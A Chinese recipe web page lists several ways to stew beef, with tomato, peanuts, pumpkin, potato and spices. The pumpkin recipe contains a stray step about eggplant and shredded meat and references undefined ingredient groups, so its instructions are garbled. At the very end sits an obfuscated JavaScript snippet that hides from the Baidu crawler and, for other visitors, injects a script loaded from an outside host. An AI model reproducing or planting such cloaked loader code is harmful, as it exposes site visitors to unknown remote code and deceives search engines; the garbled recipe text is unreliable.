當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

牛肉燉什么最好吃?燉牛肉怎么做好吃

2013-05-03 10:40:09  來源:360常識網(wǎng)   熱度:
導(dǎo)語:牛肉蛋白質(zhì)含量高,而脂肪含量低,而且味道鮮美,深受人們的喜愛,享有肉中驕子的美稱。那么牛肉怎么做好吃,牛肉燉什么最好吃呢?燉牛肉的

牛肉蛋白質(zhì)含量高,而脂肪含量低,而且味道鮮美,深受人們的喜愛,享有“肉中驕子”的美稱。那么牛肉怎么做好吃,牛肉燉什么最好吃呢?

燉牛肉的做法

番茄燉牛肉

原料:牛肋條肉、番茄、清醬、姜、料酒、鹽、蔥、草果、食用油。

做法:先將牛肉洗凈切成小方塊,姜切末蔥切段,然后坐鍋點火,油至5-6成熱時,逐步將牛肉炸過撈出;再將鍋中留底油放入炸過的牛肉,放水(以淹過肉為宜)加入清醬、姜末、料酒、蔥段、草果、鹽調(diào)味;最后將番茄放入開水中浸泡片刻撈出剝?nèi)テで谐稍卵缐K放入鍋中,用小火燒60分鐘即可。

花生燉牛肉

材料:牛肉500克,花生仁100克,姜、蔥花、黃酒、鹽各適量。

做法:

1、花生仁以沸水浸泡后去衣備用。

2、牛肉洗凈切成小塊,放人沸水略燙撈出后,放人砂鍋內(nèi),加清水750毫升及蔥、姜和黃酒,以大火煮沸后撇去浮沫。

3、轉(zhuǎn)小火燜煮至半熟時放人花生仁,繼續(xù)燜煮至熟爛,加入鹽調(diào)味即可。

功效:強身健體。

南瓜燉牛肉

材料:瘦牛肉(如牛腱肉、腿肉)250克,南瓜500克,蔥2根,姜10-15片,黃酒1大匙,鹽1/2小匙,糖1小匙,味精1/2匙。

做法

1、將牛肉洗凈切塊,放沸水中汆燙撈起,加入A料和清水3杯,放入大碗中,隔水清燉至熟。

2、將南瓜A料洗凈,去皮切塊,加入牛肉湯中,同燉至熟爛,再加B料調(diào)味即可。

3、直至茄子已快要軟爛時,先加入糖,再入少許味精,倒入肉絲,再翻炒3-5人分種即可。

清燉牛肉

原料:新鮮的牛肉、作料:干辣椒4個、香葉兩片、姜一段、花椒少許、丁香少許。

做法

1、把牛肉切成小塊,在熱水中飛去血沫。

2、把花椒、丁香、干辣椒一并放在調(diào)料蛋(就是那種可以裝東西又有孔的東西,像蛋)里,用紗布包起來也可以。放一些姜片可以去腥的。

3、然后就是煮了,煮的時候,先是大火把水燒開,再把火調(diào)小慢慢煮容易爛一點也不會把湯煮干,千萬不可以這個時候去看碟,要不然等想起來回來的時候該焦了。

4、牛肉吃完,剩下的煮個火鍋面了,決不是方便面,超市里有的買的.湯干了,覺得少了點什么,加了幾根榨菜。

牛肉燉土豆

原料:牛腱、土豆、西紅柿、洋蔥、鹽、味精、白糖、白酒、醬油。

做法

1、將牛腱切塊后加入鹽、醬油、白酒腌制10分鐘。

2、坐鍋點火倒油,放入牛肉翻炒變色后,加入西紅柿煸炒出汁,沖入適量開水燉20分鐘,開蓋后放入土豆燜10分鐘,再加入洋蔥,加鹽、味精、白糖調(diào)味出鍋即可。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}